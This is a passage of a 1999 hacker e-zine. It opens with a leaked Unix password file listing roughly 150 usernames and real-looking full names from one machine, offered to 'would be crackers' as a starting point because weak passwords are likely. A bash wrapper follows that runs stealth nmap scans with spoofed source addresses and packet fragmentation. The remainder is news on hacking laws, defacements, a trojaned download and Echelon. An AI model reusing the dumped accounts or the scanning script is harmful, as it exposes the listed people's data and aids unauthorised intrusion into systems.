rlawrence:*:1117:100:Rodney G Lawrence:/users/rlawrence:/bin/bash
rleblanc:*:191:100:Richard C. LeBlanc:/users/rleblanc:/bin/bash
rlim:*:1078:100:Richard JC Lim:/users/rlim:/bin/bash
rmaple88:*:431:100:Rich Maple:/users/rmaple88:/bin/bash
rmcgachey:*:923:100:Rick McGachey:/users/rmcgachey:/bin/bash
roliveira:*:471:100:Roberta U de Oliveira:/users/roliveira:/bin/bash
rostholt1:*:967:100:Ralf Ostholt:/users/rostholt1:/bin/bash
rostholt2:*:968:100:Ralf Ostholt:/users/rostholt2:/bin/bash
rostholt3:*:969:100:Ralf Ostholt:/users/rostholt3:/bin/bash
rostholt4:*:970:100:Ralf Ostholt:/users/rostholt4:/bin/bash
rpaulsen:*:174:100:Rolf Paulsen:/users/rpaulsen:/bin/bash
rrobertson:*:406:100:Robert J Robertson:/users/rrobertson:/bin/bash
rscott3:*:869:100:Robert Scott:/users/rscott3:/bin/bash
rscott56:*:423:100:Robert Scott:/users/rscott56:/bin/bash
rscott976:*:490:100:Dominic Melfi:/users/rscott976:/bin/bash
rsimpkins:*:610:100:Mr R Simpkins:/users/rsimpkins:/bin/bash
rsimpkins2:*:845:100:Robin Simpkins:/users/rsimpkins2:/bin/bash
rsloan:*:513:100:rachel sloan:/users/rsloan:/bin/bash
rsmerling:*:837:100:Robert Smerling:/users/rsmerling:/bin/bash
rswearingen1:*:492:100:Randall Swearingen:/users/rswearingen1:/bin/bash
rtolvstad:*:589:100:Richard Tolvstad:/users/rtolvstad:/bin/bash
rweed:*:856:100:Roberta E. Weed:/users/rweed:/bin/bash
rzimmerman:*:505:100:Robert L. Zimmerman:/users/rzimmerman:/bin/bash
sahmed:*:877:100:Shahid Ahmed:/users/sahmed:/bin/bash
saraliu18:*:449:100:sara rong liu:/users/saraliu18:/bin/bash
saraliu407:*:452:100:sara rong liu:/users/saraliu407:/bin/bash
saraliu97:*:461:100:sara rong liu:/users/saraliu97:/bin/bash
scameron:*:514:100:steven t cameron:/users/scameron:/bin/bash
schesney1:*:864:100:scott w chesney:/users/schesney1:/bin/bash
schesney2:*:865:100:scott w chesney:/users/schesney2:/bin/bash
scoggins:*:105:100:Deanna Scoggins:/users/scoggins:/bin/bash
sdavison:*:575:100:Shawn Davison:/users/sdavison:/bin/bash
semmett:*:822:100:Sean Emmett:/users/semmett:/bin/bash
sessop:*:947:100:Saleam Essop:/users/sessop:/bin/bash
sfullerton:*:813:100:Stephen B. Fullerton:/users/sfullerton:/bin/bash
sg:*:135:100:Al:/users/sg:/bin/bash
sgregory:*:1148:100:Stephen E. Gregory:/users/sgregory:/bin/bash
sgregory2:*:1160:100:Stephen Gregory:/users/sgregory2:/bin/bash
shamade:*:572:100:Sabri A. Hamade:/users/shamade:/bin/bash
shosseini:*:808:100:Seyed Hosseini:/users/shosseini:/bin/bash
sisaac1:*:558:100:Stephen Isaac:/users/sisaac1:/bin/bash
slaprime:*:764:100:sarl iaprime:/users/slaprime:/bin/bash
slee:*:898:100:Sheng Fen Lee:/users/slee:/bin/bash
sliu:*:272:100:Sara Rong Liu:/users/sliu:/bin/bash
sliu004:*:622:100:Sara Rong Liu:/users/sliu004:/bin/bash
sliu18:*:498:100:sara rong liu:/users/sliu18:/bin/bash
sliu2:*:339:100:Sara Rong Liu:/users/sliu2:/bin/bash
sliu21:*:674:100:Sara Rong Liu:/users/sliu21:/bin/bash
sliu29:*:466:100:sara rong liu:/users/sliu29:/bin/bash
sliu3:*:340:100:Sara Rong Liu:/users/sliu3:/bin/bash
sliu323:*:631:100:sara rong liu:/users/sliu323:/bin/bash
sliu39:*:623:100:Sara Rong Liu:/users/sliu39:/bin/bash
sliu40:*:959:100:sara rong liu:/users/sliu40:/bin/bash
sliu41:*:1014:100:sara rong liu:/users/sliu41:/bin/bash
sliu412:*:678:100:Sara Rong Liu:/users/sliu412:/bin/bash
sliu44:*:508:100:sara rong liu:/users/sliu44:/bin/bash
sliu45:*:1023:100:sara rong liu:/users/sliu45:/bin/bash
sliu46:*:1073:100:sara rong liu:/users/sliu46:/bin/bash
sliu54:*:500:100:sara rong liu:/users/sliu54:/bin/bash
sliu61:*:675:100:Sara Rong Liu:/users/sliu61:/bin/bash
sliu617:*:679:100:Sara Rong Liu:/users/sliu617:/bin/bash
sliu66:*:625:100:Sara Rong Liu:/users/sliu66:/bin/bash
sliu717:*:747:100:Sara Rong LIU:/users/sliu717:/bin/bash
sliu73:*:499:100:sara rong liu:/users/sliu73:/bin/bash
sliu79:*:624:100:Sara Rong Liu:/users/sliu79:/bin/bash
sliu817:*:748:100:Sara Rong LIU:/users/sliu817:/bin/bash
sliu88:*:429:100:sara liu:/users/sliu88:/bin/bash
sliu89:*:677:100:Sara Rong Liu:/users/sliu89:/bin/bash
sliu917:*:778:100:sara liu:/users/sliu917:/bin/bash
sliu918:*:857:100:sara rong liu:/users/sliu918:/bin/bash
sliu919:*:899:100:sara rong liu:/users/sliu919:/bin/bash
sliu9696:*:614:100:sara rong liu:/users/sliu9696:/bin/bash
sliu99:*:676:100:Sara Rong Liu:/users/sliu99:/bin/bash
smarsey1:*:653:100:Stephen Marsey:/users/smarsey1:/bin/bash
smcdaniel:*:800:100:Stephen McDaniel:/users/smcdaniel:/bin/bash
smcgrath:*:882:100:Sean Mc Grath:/users/smcgrath:/bin/bash
smoore:*:897:100:Sherrie C. Moore:/users/smoore:/bin/bash
sniemi:*:311:100:Steve Niemi:/users/sniemi:/bin/bash
srishell:*:552:100:Sandra W. Rishell:/users/srishell:/bin/bash
srishell1:*:566:100:Sandra W. Rishell:/users/srishell1:/bin/bash
srishell2:*:584:100:Sandra Rishell:/users/srishell2:/bin/bash
srloiu:*:212:100:Sara Ront Loiu:/users/srloiu:/bin/bash
ssalvino:*:789:100:Sebastian Salvino:/users/ssalvino:/bin/bash
sschubert:*:591:100:Scott Schubert:/users/sschubert:/bin/bash
ssloane:*:501:100:Samuel W. Sloane:/users/ssloane:/bin/bash
ssundaram:*:280:100:S Sundaram:/users/ssundaram:/bin/bash
ssundaram3:*:382:100:shankar sundaram:/users/ssundaram3:/bin/bash
ssundaram77:*:559:100:shankar sundaram:/users/ssundaram77:/bin/bash
ssundaram99:*:607:100:Shankar Sundaram:/users/ssundaram99:/bin/bash
stantasook:*:1108:100:Sayam Tantasook:/users/stantasook:/bin/bash
steiner:*:116:100:Thomas Steiner:/users/steiner:/bin/bash
stennant:*:515:100:Steve Tennant:/users/stennant:/bin/bash
sundaram1:*:1178:100:Gowri:/users/sundaram1:/bin/bash
sundaram4:*:403:100:shankar sundaram:/users/sundaram4:/bin/bash
sundaram8:*:341:100:shankar sundaram:/users/sundaram8:/bin/bash
sverduyn:*:645:100:Shaun Verduyn:/users/sverduyn:/bin/bash
swearingen3:*:413:100:Randall Swearingen:/users/swearingen3:/bin/bash
sweiser:*:1020:100:Steven Weiser:/users/sweiser:/bin/bash
swilliams:*:404:100:Sascha Williams:/users/swilliams:/bin/bash
tasakura:*:268:100:Takashi Asakura:/users/tasakura:/bin/bash
tbaxter:*:818:100:Thomas Baxter:/users/tbaxter:/bin/bash
tenglish:*:506:100:Thomas English:/users/tenglish:/bin/bash
tfebres1:*:523:100:Tulio Febres:/users/tfebres1:/bin/bash
tfyfe:*:776:100:Terrence J. Fyfe:/users/tfyfe:/bin/bash
tgray:*:757:100:Tyler GRAY:/users/tgray:/bin/bash
tgray1:*:797:100:Thomas A. Gray:/users/tgray1:/bin/bash
tjudge:*:458:100:Terence Judge:/users/tjudge:/bin/bash
tkrause:*:1030:100:Timothy W Krause:/users/tkrause:/bin/bash
tlazar:*:1022:100:Terry Lazar:/users/tlazar:/bin/bash
tlink:*:737:100:Thomas E. Link:/users/tlink:/bin/bash
tlongacre:*:571:100:Tim Longacre:/users/tlongacre:/bin/bash
tpeters:*:400:100:Tom Peters:/users/tpeters:/bin/bash
tsehestedt:*:1145:100:Travis Alan Sehestedt:/users/tsehestedt:/bin/bash
tseoh:*:682:100:Thomas Seoh:/users/tseoh:/bin/bash
tsmith:*:211:100:Tom Smith:/users/tsmith:/bin/bash
twallace:*:520:100:Terry Wallace:/users/twallace:/bin/bash
vbrown:*:638:100:Victoria V. Brown:/users/vbrown:/bin/bash
vjavarappa:*:1032:100:Venu Javarappa:/users/vjavarappa:/bin/bash
vmarco1:*:478:100:Vignato Marco :/users/vmarco1:/bin/bash
vmarco2:*:479:100:Vignato Marco :/users/vmarco2:/bin/bash
vmarco3:*:480:100:Vignato Marco :/users/vmarco3:/bin/bash
vmarco4:*:481:100:Vignato Marco :/users/vmarco4:/bin/bash
wcrutch:*:442:100:William E. Crutchfield:/users/wcrutch:/bin/bash
wgarmier:*:1180:100:William W. Garmier:/users/wgarmier:/bin/bash
wkmail1:*:231:100:al :/users/wkmail1:/bin/bash
wmccormack:*:829:100:Winthrop McCormack:/users/wmccormack:/bin/bash
wmccutchen:*:839:100:Wilmot H. McCutchen:/users/wmccutchen:/bin/bash
wmize:*:1113:100:William R Mize:/users/wmize:/bin/bash
wmurdoch:*:1157:100:William Murdoch:/users/wmurdoch:/bin/bash
wroll:*:182:100:William J. Roll:/users/wroll:/bin/bash
wsapp:*:817:100:Wendy Sapp:/users/wsapp:/bin/bash
wschneider:*:1146:100:William E. Schneider:/users/wschneider:/bin/bash
wtraver:*:245:100:William L. Traver:/users/wtraver:/bin/bash
wyorke:*:1150:100:William J Yorke:/users/wyorke:/bin/bash
xdingguo:*:943:100:xu dingguo:/users/xdingguo:/bin/bash
ymoeller:*:414:100:York Moeller:/users/ymoeller:/bin/bash
zalexandre:*:243:100:Zonine Alexandre:/users/zalexandre:/bin/bash
zambiasi5:*:385:100:PietroZambiasi:/users/zambiasi5:/bin/bash
zambiasi9:*:386:100:Pietro Zambiasi:/users/zambiasi9:/bin/bash
fmoreno:*:2005:100:Felipe Moreno,,,:/users/fmoreno:/dev/null
As you can see this is a shadowed password file, but it still gives the would
be cracker a good starting point at making entry, notice all the duplicate
user names, its likely that weak passwords are in use on this box.
I didn't go beyond looking at the shadowed password file, what you do is
your business, either way enjoy this info for what its worth.
@HWA
04.0 Fun and games
~~~~~~~~~~~~~
Contributed by Wyze1
Bored? want to hax0r root on a leet security box without the legal
ramifications? try this...
Telnet to 3rdpig.com login as root, press ENTER when it asks you for
a PASSWORD, try typing WHO to see who else is online...try other
commands too and have fun...its all perfectly safe and legal, its a
'joke' machine that was setup by the folks at 3rdpig.
@HWA
05.0 scan.sh v1.1b by Twstdpair [HWA]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Updated from last week's version here's v1.1b written on Caldera Open Linux v1.3
in bash.
#!/bin/bash
#
# scan.sh written by Twistdpair [HWA] v1.1b
#
# greets to all the cool cats in #hwa.hax0r.news
#
# This shell script created with VIX (Also written by The Twisted Pair)
#
# Internal vars:
#
#_debug=1
_longdate=`date "+%A %B %d, %Y"`
_time24=`date +%T`
_binbase=$HOME/bin
_scriptname=${0#${_binbase}/}
_script_opts="[-tusfxnp] [-log] [-v1|-v2] [-spoof] [-frag] ip"
#
# Builtin debug function:
#
if [ ! -z $_debug ]; then
echo "_scriptname="$_scriptname
exit 2
fi
#
# Comment this out or remove it if your script takes no parameters
#
if [ $# -eq 0 ]; then
echo "usage:" $_scriptname $_script_opts
exit 1
fi
#
# Script name: scan
# Version : 1.4
# Created by : The Twisted Pair
# Created on : Thursday October 07, 1999 at 15:48:37
#
# ----------------------------------------------------
# Option Scan Type Stealth? Sp00f Opts?
# ----------------------------------------------------
# t (default) TCP No No
# u UDP No No
# p Ping No No
# s SYN Somewhat Yes
# f FIN Yes Yes
# x Xmas-Tree Yes Yes
# n NULL Yes Yes
#
# Modify these to suit what you want.
# Check out the -e param in spoof_presets to make sure its using the correct device
#
base_opts="-O"
verbose1_presets="-v"
verbose2_presets="-vv"
pkt_frag_presets="-f"
spoof_presets="-S 192.168.0.2 -e eth0 -P0"
spoof_opts=""
pkt_frag_opts=""
verbose_opts=""
for user_param in "$@" ; do
case $user_param in
-v1 )
verbose_opts=$verbose1_presets;;
-v2 )
verbose_opts=$verbose2_presets;;
-spoof)
spoof_opts=$spoof_presets;;
-frag )
pkt_frag_opts=$pkt_frag_presets;;
-log )
log_yn="y";;
-t )
scan_opts="-sT"
pkt_frag_opts=""
spoof_opts="";;
-u )
scan_opts="-sU"
pkt_frag_opts=""
spoof_opts="";;
-s )
scan_opts="-sS";;
-f )
scan_opts="-sF";;
-x )
scan_opts="-sX";;
-n )
scan_opts="-sN";;
-p )
scan_opts="-sP"
pkt_frag_opts=""
spoof_opts="";;
esac
done
for i do bad_host_ip="$i"; done
if [ `expr "$bad_host_ip" : '-*'` -gt 0 ]; then
echo "usage:" $_scriptname $_script_opts
exit 1
fi
if [ ! -z $log_yn ]; then
log_opts="-o "$HOME"/shitlist/"$bad_host_ip".log"
fi
echo "nmap "$base_opts $verbose_opts $scan_opts $spoof_opts $pkt_frag_opts $log_opts $bad_host_ip
nmap $base_opts $verbose_opts $scan_opts $spoof_opts $pkt_frag_opts $log_opts $bad_host_ip
@HWA
06.0 Bikkel (demoniz') webboard back online
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Demoniz seems to have resurfaced long enough to revive his webboard which is back online
at http://bikkel.com/cgi-bin/webforum.cgi ... it was a major source of info when
demoniz's site was in full bloom perhaps it will return to some of its former glory...
in any case check it out.
@HWA
07.0 Belgians tighten computer security laws
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by Zym0t1c
Since today - Oct, 9th 1999 - Belgian hackers can be sentenced from three
months up to five years in prison. The government made a lawbill about
"crimes against confidentiality, integrity and the availability of
computersystems and the data stored, processed or transmitted by these
systems." Anyone illegally accessing a system can be sentenced to three
months and if the hack has a malicious intention, the sentence can raise up
to five years of imprisoment.
It hasn't yet become an act, but next month the government will discuss
these sentences.
Yesterday a proposition was made by Marc Verwilghen for sentences against
computercrimes from three months to one year. Today the sentences can raise
up to five years!
It all began with the first stupid hack of ReDaTtAcK #1 a few months ago.
However the government made a lawbill some time ago but it was left aside.
Now, since the "famous Belgian hacks" (Bah!) the government picked up where
they left to complete these lawbills and actually add them to the law...
Thanx loser!
(The website of Frank Devaere, aka ReDaTtAcK #1, his firm is:
http://www.dinware.be. Enjoy yourself!
Note that this site was mentioned for pure informational purposes only.)
Anyone who wants to read the dutch article about the lawbill can go to:
http://www.standaard.be/asp/r.asp?i=dst9910080016
/* For experienced dutch understanding people only! :) */
@HWA
08.0 Pakistani hacktivists 'blitz' web sites,,
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Kashmir-minded Pakistani
'hacktivists' blitz Web sites
October 8, 1999
Web posted at: 3:57 p.m. EDT (1957 GMT)
By D. Ian Hopper
CNN Interactive Technology Editor
Since October 1, the two students who
make up the Pakistan Hackerz Club
have defaced over 40 Web sites,
according to a hacking mirror site.
From the Mildew Removal Specialists
site to several government sites within China, the PHC hasn't shown one
overarching pattern in their choice of targets. Not so for the results; almost
every site's main page has been replaced with the PHC logo and a treatise in
defense of the disputed region of Kashmir as well as graphic photographs
depicting charred bodies and wounded Kashmiri children.
The two members of the club, known only as Doctor Nuker and Mr_Sweet,
refuse to identify themselves beyond their profession and nationality. While
popular hacking site Attrition.org logs PHC as hacking 61 sites in all since
July 4 of this year, their recent proliferation came as Indians went to the polls
to elect a new government.
In 1989, an insurrection erupted in the Kashmir
Valley, a Muslim-majority area that Islamic
militants want to break away from India, which
is predominantly Hindu.
The guerrilla war has killed thousands of
civilians, militants, police, army and paramilitary
officers. Security forces have special powers to
detain anyone without giving reasons.
Hundreds of civilians have disappeared, some
of them killed by guerrillas who suspected them
of being police informers. Allegations of torture
and human rights abuses are numerous against
both sides.
Separatist violence involving Kashmiri guerrillas
has been on the rise since Indian troops
dislodged armed infiltrators from northern Kashmir in July after a two-month
operation.
Nearly a dozen groups are fighting
against Indian rule in Jammu and
Kashmir. Pakistan, which also claims
Kashmir, has fought two wars with
India over the region.
According to PHC member Doctor
Nuker, Kashmir is at the top of PHC's
concerns, but their goals are more
far-reaching than just that disputed
region.
"Our goal is to bring attention to
violence in Kashmir, but that's just not
going to be our only goal. PHC will hack for all the injustice going in this
world, especially the killings and injustice with Muslims. [The] United
Nations and [the] United States never forget to act urgent on other small
issues but they never give a damn about the Kashmir issue. We not only say,
but we really care for Kashmiris and take them as our brothers and sisters,"
Doctor Nuker said.
Their targets are simple and telling. Not the Indian government itself, nor
U.S. government sites, but any site that is "good and regularly-visited."
Their immediate goal may be simply to bring attention to Kashmir - Doctor
Nuker says his mailbox is filled with messages from people interested in the
Kashmir issue as a result of the hacks - but their ultimate purpose may be
lost in their means.
Hacktivism, as the combination of hacking and
public activism has become called, is sharply on
the rise. Their prevalence has been increasing
with the increased public focus on the Web. It is
a regular occurrence against China, which has
taken a hard-handed approach to the Internet,
though it can be found in almost every incident of
modern political strife from the Chiapas
separatists to NATO's action in Kosovo.
However, the marriage activism and computer
hacking has a fundamental flaw, according to Alex Fowler, Strategic
Initiatives Director for the Electronic Frontier Foundation.
"A lot of groups are claiming that they're hacking into sites for a higher moral
purpose, but they're hiding beyond anonymity or pseudonymity. Taking
responsibility is not something we see happening. One of the critical things in
environmental causes and the civil rights movement was that groups who
used strong tactics and intentionally broke the law eventually came forward
and took responsibility for their actions. It was owning up that really helped
these movements forward."
Hackers have always been known for their love of pseudonyms, and their
conflicting fear of the limelight but compulsion to sign their work may make
current hacktivists unfit for the profession.
Tweety Fish, a member of the Canadian hacker group Cult of the Dead
Cow, defends hacktivists as merely being purveyors of information. Defacing
an Indonesian site with reports of Indonesian atrocities or foiling the "Great
Firewall of China" that blocks out sites offensive to the Chinese government
make anonymity irrelevant, Tweety Fish said.
Hacktivists will soon find a resource, and even a target list, of sorts, to assist
them. Tweety Fish maintains the "Hacktivism" site, which will offer a "forum"
for hacktivists and link to news reports about governmental Internet policies.
On tons of Web sites, coders with a cause can learn how to break in to
Web servers, not that it's that difficult. Hackers are finding most Web sites
to be a cinch to deface, which is part of the reason why it's a more attractive
alternative to off-line activism.
"Office buildings and government buildings have surveillance set up. Online,
it's pretty easy pickings. A lot of servers aren't secure, and it's not like you
have to be super-sophisticated to learn how to hack into the site. You get a
lot of bang for the buck," Fowler said.
There's little doubt that hackers won't stop with words and pictures. Fowler
believes it's only a matter of time before hacktivists move from simple online
graffiti to more destructive attacks on e-commerce sites and information
databases.
"We will see very serious attacks. Information stealing could have very
long-term consequences for consumers. We shouldn't get accustomed to
these kinds of incidents, thinking, 'It's just a billboard, who cares?' We
should consider, 'How secure is the Internet? Should we be posting personal
information to a medium that is so easily cracked?' We should see these
types of incidents as a harbinger for more privacy and security breaches."
@HWA
09.0 Fidnet gets funding.
~~~~~~~~~~~~~~~~~~~~
From HNN http://www,hackernews.com/
contributed by evilwench
The House Appropriations Committee recently eliminated
funding for the proposed federal intrusion detection
surveillance system (FIDNet). The White House,
however, has found other funding through a $611 million
mid-year fiscal 2000 budget amendment. The Office of
Management and Budget sent the request to congress
which included $39 million for enhancing computer
security and critical infrastructure protection within
several agencies. $8.4 million of which will be used for
the Proposed FIDNet system to be run by the General
Services Administration.
Government Executive Magazine
http://www.govexec.com/dailyfed/1099/100699b2.htm
October 6, 1999
DAILY BRIEFING
White House finds funding for
security network
By Bara Vaida, National Journal's Technology Daily
The House Appropriations Committee may have eliminated
funding for the Clinton Administration's proposed federal
intrusion detection surveillance system (FIDNet), but the White
House found another vehicle for funding through a $611 million
mid-year fiscal 2000 budget amendment.
On Sept. 21, the White House's Office of Management and
Budget sent up the proposed request to Congress, including
$39 million for enhancing computer security and critical
infrastructure protection within several agencies. The president
requested $8.4 million for FIDNet to be run by the General
Services Administration.
"The proposal would, through the use of additional staff and
enhanced technology, improve federal agencies' ability to
detect computer attacks and unauthorized instructions, share
attack warnings and related information across agencies and
respond to attacks," according to the written proposal.
In July, the White House revealed its plan to create FIDNet,
which is aimed at centralizing computer intrusion detection. It
immediately was criticized by privacy and civil liberties groups
and some members of Congress who were concerned that the
system would result in federal surveillance of all computer
networks. In September, House appropriators denied funding
designated for FIDNet in the Commerce, State and Justice
appropriations bill in August.
Administration officials have said that FIDNet would monitor
only federal networks, though an early draft of the plan
envisioned that eventually private networks would also be
overseen, said Richard Diamond, spokesman for House
Majority Leader Dick Armey, R-Texas.
Jon Jennings, acting assistant attorney general for legislative
affairs at the Justice Department, told Armey in a Sept. 22
letter that the media had "mischaracterized" the FIDNet
proposal, but Armey's concerns have not been assuaged.
"They have made some steps backward to address the
concerns we raised over the program, but we aren't satisfied
quite yet that they are taking privacy concerns fully
We want
them to say in absolute terms that (FIDNet) will not be used in
anyway to cover private networks," Diamond said.
Armey has given the administration a deadline of Oct. 15 to
respond fully to his concerns, Diamond said.
@HWA
10.0 Softseek.com Distributes Trojan Horse
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by pchelp
An application distributed by Softseek.com, a ZDNet
web site, called WinSec v1.01 claims to be designed to
restrict users from accessing certain Windows features.
In actuality this program is a Trojan Horse disguising
NetBus. NetBus is a remote administration tool that
could be used by a malicious attacker to gain control of
an unsuspecting users machine. Softseek, has failed to
respond to questions about the incident.
PC Help Advisory
http://www.nwi.net/~pchelp/security/alerts/softseek.htm
FOR IMMEDIATE RELEASE
Thursday, 7 October 1999 1900:00 PDT
ZDNET SITE SENDS USERS TO BACKDOOR PROGRAM
Softseek.Com Promotes Trojan Horse to Unwitting Users
Among the security applications recommended by Softseek.com at its
popular download site is a well-known and very capable backdoor program
called NetBus.
The trojan horse program is being deceptively promoted as WinSec v1.01,
"a Windows security program designed to restrict users from accessing
certain Windows features." If an unsuspecting user downloads and runs
the program, it immediately installs hidden backdoor access, opening
the victim's computer to comprehensive intrusion via the Internet link.
The Softseek representation displays a screen shot of a seemingly
purposeful application, and describes it in some detail. It's unknown
whether a legitimate application by the name "WinSec" actually exists.
At last check (7PM PDT 7 October), and despite user complaints,
Softseek still features the bogus program at URL:
http://www.softseek.com/Utilities/Encryption_Security_and_Passwords/Security_and_Access_Control/4index.html
The bogus review appears at:
http://www.softseek.com/Utilities/Encryption_Security_and_Passwords/Security_and_Access_Control/Review_24937_index.html
Links lead the Softseek site's visitors to an anonymous website hosted
by Xoom.com. The backdoor program is in clear violation of Xoom's
Terms of Service. Document dates indicate the site has existed in
its present form since September 1st 1999. Softseek has featured
WinSec since at least June 14th of this year.
The originator's identity is nowhere to be seen and may well prove
impossible to determine.
Given the high-traffic nature of the Softseek site, the hostile
application could easily have been accessed by tens of thousands of
victims over the past month.
To make matters wor
se, one victimized user reports that a Softseek
representative forwarded his complaint, with his email address, to the
trickster. This places the victim at potential risk of retribution.
The incident raises serious questions about Softseek's screening
procedures, its handling of complaints, and the legitimacy of its other
offerings. Users who complain to Softseek about hostile applications
may be placed at further risk when their identities are exposed to
malefactors.
Softseek, a ZDNet company, has failed to respond to questions about the
incident.
A ZDNet representative was notified by phone of the problem, and
promised action before 6PM this evening. But the Softseek site remains
unchanged and a promised callback from ZDNet never materialized.
An HTML version of this alert is at:
http://www.nwi.net/~pchelp/security/alerts/softseek.htm
Please contact pchelp@nwi.net for further details.
@HWA
11.0 Global Jam Echelon Day Update
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by James
Evidently there has been some confusion as to when
the Global Jam Echelon day will take place. The now
confirmed date is October 21st and not October 18th as
previously reported here and elsewhere. Echelon is a
vast mythical eavesdropping network set up by various
governments including the US, UK, Canada, Australia
and others in order to monitor the world's electronic
communications (telephone, email, fax, etc.) for
subversive keywords. On October 21st netizens around
the globe are implored to send out at least one email
with at least one of the key words. While the actual list
of words is not known it is assumed that words such as
these will trigger the system: Kill FBI CIA NSA IRS ATF
BATF DOD Militia gun weapon manifesto terrorism bomb
Special Forces SOF Delta Force constitution Mossad
NASA MI5 revolution terrorist economy
Wired
http://www.wired.com/news/news/politics/story/22102.html
Global Jam Echelon Day
http://www.echelon.wiretapped.net/
Hackers Ascend Upper 'Echelon'
by James Glave
3:00 a.m. 6.Oct.99.PDT
Mossad. Bomb. Davidian. MI5.
If the hunch of a loose-knit group of cyber-activists is correct, the
above words will trip the keyword recognition filter on a global spy
system partly managed by the US National Security Agency.
The near-mythical worldwide computer spy network reportedly scans all
email, packet traffic, telephone conversations -- and more -- around the
world, in an effort to ferret out potential terrorist or enemy
communications.
Once plucked from the electronic cloud, certain keywords allegedly trigger
a recording of the conversation or email in question.
Privacy activists have used the words in their signature files for years
as a running schtick, but on 21 October, a group of activists orginating
on the "hacktivist" mailing list hope to to trip up Echelon on a much
wider scale.
"What is [Echelon] good for?" asked Linda Thompson, a constitutional
rights attorney and chairman of the American Justice Federation.
"If you want to say we can catch criminals with it, it is insane that
anyone should be able to snoop on anyone's conversations."
"Criminals ought to be caught after they commit a crime -- but police are
not here to invade all our privacy to catch that two percent [of criminal
communications]," she said.
A 1994 report by the Anti-Defamation League described Thompson as "an
influential figure in the militia movement nationally." The report says
the American Justice Federation describes itself as "a group dedicated to
stopping the New World Order and getting the truth out to the
American public."
The Anti-Defamation League says Thompson claims to have contact with
militias in all 50 states.
On 21 October, Thompson, along with Doug McIntosh, a reporter for the
federation's news service, and members of the hacktivism mailing list
community, invite anyone concerned about the system to append a list of
intriguing words to their emails.
Specifically, they suggest the following keywords:
FBI CIA NSA IRS ATF BATF DOD WACO RUBY RIDGE OKC OKLAHOMA CITY MILITIA GUN
HANDGUN MILGOV ASSAULT RIFLE TERRORISM BOMB DRUG HORIUCHI KORESH DAVIDIAN
KAHL POSSE COMITATUS RANDY WEAVER VICKIE WEAVER SPECIAL FORCES LINDA
THOMPSON SPECIAL OPERATIONS GROUP SOG SOF DELTA FORCE CONSTITUTION BILL OF
RIGHTS WHITEWATER POM PARK ON METER ARKANSIDE IRAN CONTRAS OLIVER NORTH
VINCE FOSTER PROMIS MOSSAD NASA MI5 ONI CID AK47 M16 C4 MALCOLM X
REVOLUTION CHEROKEE HILLARY BILL CLINTON GORE GEORGE BUSH WACKENHUT
TERRORIST TASK FORCE 160 SPECIAL OPS 12TH GROUP 5TH GROUP SF
The campaign has spread around the Net and has been translated into
German. Organizers hope "gag Echelon day" catches on on a global scale as
a means of raising awareness of the system.
Neither the NSA, nor its UK equivalent -- the Government Communications
Headquarters -- has admitted that the system exists, although its
capabilities have been debated in the European Parliament.
Australia's Defense Signals Directorate, an agency allegedly involved in
Echelon, recently admitted the existence of UKUSA, the agreement between
five national communications agencies that reportedly governs the system.
Last fall, the Washington-based civil liberties group Free Congress
Foundation sent a detailed report on the system to Congress, but the
system was not debated.
The latest effort hopes to further boost public awareness of the system.
"Most people are angry about it," said Thompson. "When you find out it is
not some science fiction movie, most people will be outraged."
But an Australian member of the activist community hopes that "jam Echelon
day" will be about public awareness of technologies of political control,
not about generating paranoia.
"Public awareness should empower -- not scare people aware from using the
Net," the activist, who identified himself only as Sam, said.
Editor's Note: This Story has been corrected. The Jam Echelon Day project
will be held 21 October, and coordinated by members of the Hacktivism
mailing list. The article had incorrectly suggested that the American
Justice Federation had organized the event. Wired News regrets the
error.
http://hacktivism.tao.ca/
@HWA
12.0 NSA Document Retrieval Capabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by spiderus
Considering the technology available for document
retrieval it is doubtful that the Global Jam Echelon Day
will have any impact if the messages only contain
keywords. These links indicate that the NSA's (and
probably other agencies) information sorting capability
(n-gram analysis) is extremely more advanced than
simple keyword grabbing. This technology isn't new
either it has been available publicly for license since
1993. Considering the computing power available to
high-level government agencies in conjunction with this
document retrieval technology it is doubtful that the
plan to jam or overflow the Echelon system will have a
large effect. (Can't hurt to try though.)
National Security Agency - Technology Overview
http://www.nsa.gov:8080/programs/tech/factshts/infosort.html
Patent on method of retrieving documents by topic
http://164.195.100.11/netacgi/nph-Parser?Sect1=PTO1&Sect2=HITOFF&d=PALL&p=1&u=/netahtml/srchnum.htm&r=1&f=G&l=50&s1='5,418,951'.WKU.&OS=PN/5,418,951&RS=PN/5,418,951
@HWA
13.0 London Firms Targeted for Cyber Attack
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Lady Sharrow
IT security expert Dr Neil Barrett is claiming that a group
of "motivated amateurs" is planning denial of service
attacks and other disruptions against London based
firms who use NT-based systems. The attacks are
supposedly planned for January 4, 2000. (We would sure
like to know where Dr. Barrett gets his information and
how he came up with his time limit on intrusions into
bank systems.)
Computer Weekly
http://www.computerweekly.com/pagelink.asp?page=article&link=%2Fcwarchive%2Fnews%2F19991007%2Fcwcontainer%2Easp%3Fname%3DB1%2Ehtml
Issue date: 7 October 1999
Article source: Computer Weekly News
City firms facing hacking threat
Karl Schneider
Firms in the City of London face a potentially damaging
attempt by hackers to disrupt their IT systems on 4
January 2000.
Speaking at the IT Directors Forum this week, IT
security expert Dr Neil Barrett said two or three groups
of UK hackers have been commissioned to attack the
systems of top city firms, as part of a demonstration
against City "greed".
He claimed the organisers of the 4 January attack were
among those involved in the anti-City demonstration on
18 June this year, which resulted in pitched battles
between demonstrators and police in the Square Mile.
Barrett, who is on the Confederation of British
Industry's Information Security Panel, described those
planning the 4 January assault as "motivated amateurs"
rather than professional hackers.
He said the raid would most likely take the form of
"denial of service" attacks against city firms' NT-based
systems, aiming to block the use of systems by
legitimate users.
"A really successful intrusion into a bank's systems
takes two or three days to put together," he explained.
"This is just a one-day exercise, so they won't be
manipulating systems".
Barrett said there was a smaller-scale attack by just
one group of hackers during the 18 June demonstration,
